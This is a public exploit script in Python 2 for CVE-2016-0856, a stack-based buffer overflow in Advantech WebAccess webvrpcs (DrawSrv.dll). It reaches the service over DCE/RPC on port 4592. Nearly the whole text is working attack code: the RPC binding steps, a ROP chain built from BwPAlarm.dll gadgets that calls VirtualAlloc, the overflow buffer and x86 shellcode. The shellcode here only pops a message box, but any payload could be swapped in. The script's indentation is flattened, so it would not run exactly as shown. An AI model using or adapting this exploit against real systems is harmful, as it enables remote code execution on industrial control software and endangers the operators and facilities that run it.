Advantech WebAccess webvrpcs Buffer Overflow

`#!/usr/bin/python2.7  
  
# Exploit Title: Advantech WebAccess < 8.1 webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow RCE  
# Date: 03-29-2018  
# Exploit Author: Chris Lyne (@lynerc)  
# Vendor Homepage: www.advantech.com  
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe  
# Version: Advantech WebAccess 8.0-2015.08.16  
# Tested on: Windows Server 2008 R2 Enterprise 64-bit  
# CVE : CVE-2016-0856  
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-16-093/  
  
import sys, struct  
from impacket import uuid  
from impacket.dcerpc.v5 import transport  
  
def call(dce, opcode, stubdata):  
dce.call(opcode, stubdata)  
res = -1  
try:  
res = dce.recv()  
except Exception, e:  
print "Exception encountered..." + str(e)  
sys.exit(1)  
return res  
  
if len(sys.argv) != 2:  
print "Provide only host arg"  
sys.exit(1)  
  
port = 4592  
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"  
version = "1.0"  
  
host = sys.argv[1]  
  
string_binding = "ncacn_ip_tcp:%s" % host  
trans = transport.DCERPCTransportFactory(string_binding)  
trans.set_dport(port)  
  
dce = trans.get_dce_rpc()  
dce.connect()  
  
print "Binding..."  
iid = uuid.uuidtup_to_bin((interface, version))  
dce.bind(iid)  
  
print "...1"  
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)  
call(dce, 2, stubdata)  
  
print "...2"  
stubdata = struct.pack("<I", 0x02)  
res = call(dce, 4, stubdata)  
if res == -1:  
print "Something went wrong"  
sys.exit(1)  
res = struct.unpack("III", res)  
  
if (len(res) < 3):  
print "Received unexpected length value"  
sys.exit(1)  
  
print "...3"  
  
# MessageBoxA() Shellcode  
# Credit: https://www.exploit-db.com/exploits/40245/  
shellcode = ("\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0")  
  
def create_rop_chain():  
rop_gadgets = [  
0x0704ac03, # XOR EAX,EAX # RETN ** [BwPAlarm.dll] eax = 0  
0x0706568c, # XOR EDX,EDX # RETN ** [BwPAlarm.dll] edx = 0  
  
0x0702455b, # ADD EAX,40 # RETN ** [BwPAlarm.dll] ** eax = 0x40  
0x0702823d, # PUSH EAX # ADD BYTE PTR DS:[ESI],7 # MOV DWORD PTR DS:[7070768],0 # POP ECX # RETN  
# ecx = 0x40  
]  
for i in range(0, 63):  
rop_gadgets.append(0x0702455b) # ADD EAX,40 # RETN ** [BwPAlarm.dll] **  
# eax = 0x1000  
  
rop_gadgets += [  
0x0702143d, # ADD EDX,EAX # ADD AL,0 # AND EAX,0FF # RETN 0x04 ** [BwPAlarm.dll]  
# edx = eax  
# edx = 0x1000  
  
0x07065b7b, # POP EDI # RETN [BwPAlarm.dll]  
0x41414141,   
0x07059581, # RETN (ROP NOP) [BwPAlarm.dll]  
# edi = RETN  
  
0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll]  
0x0201e104, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]  
0x070630eb, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwPAlarm.dll]  
0x070488f7, # PUSH EAX # MOV EAX,DWORD PTR DS:[EDX*4+7068548] # AND EAX,ESI # POP ESI # POP EBX # RETN   
# esi -> PTR to VirtualAlloc  
0xFFFFFFFF # ebx = -1  
]  
for i in range(0, len(shellcode)+1):  
rop_gadgets.append(0x0703e116) # INC EBX # MOV AX,10 # RETN ** [BwPAlarm.dll]  
# ebx = size of shellcode  
  
rop_gadgets += [  
0x070441d1, # POP EBP # RETN [BwPAlarm.dll]  
0x0703fe39, # POINTER INC ECX # PUSH ESP # RETN ** [BwPAlarm.dll] **  
# ebp -> Return to ESP  
  
0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll] ------ Modified by me   
0x90909090, # nop  
# eax = 0x90909090  
  
0x07010f5c # PUSHAD # RETN [BwPAlarm.dll]   
]  
  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
# construct buffer  
buf = "A"*379  
buf += "\x33\xb7\x01\x07" # 0701b733 RETN  
buf += create_rop_chain()  
buf += shellcode  
  
# ioctl 0x278E  
stubdata = struct.pack("<IIII", res[2], 0x278E, len(buf), len(buf))  
  
fmt = "<" + str(len(buf)) + "s"  
stubdata += struct.pack(fmt, buf)  
  
print "\nDid it work?"  
call(dce, 1, stubdata)  
  
dce.disconnect()  
  
`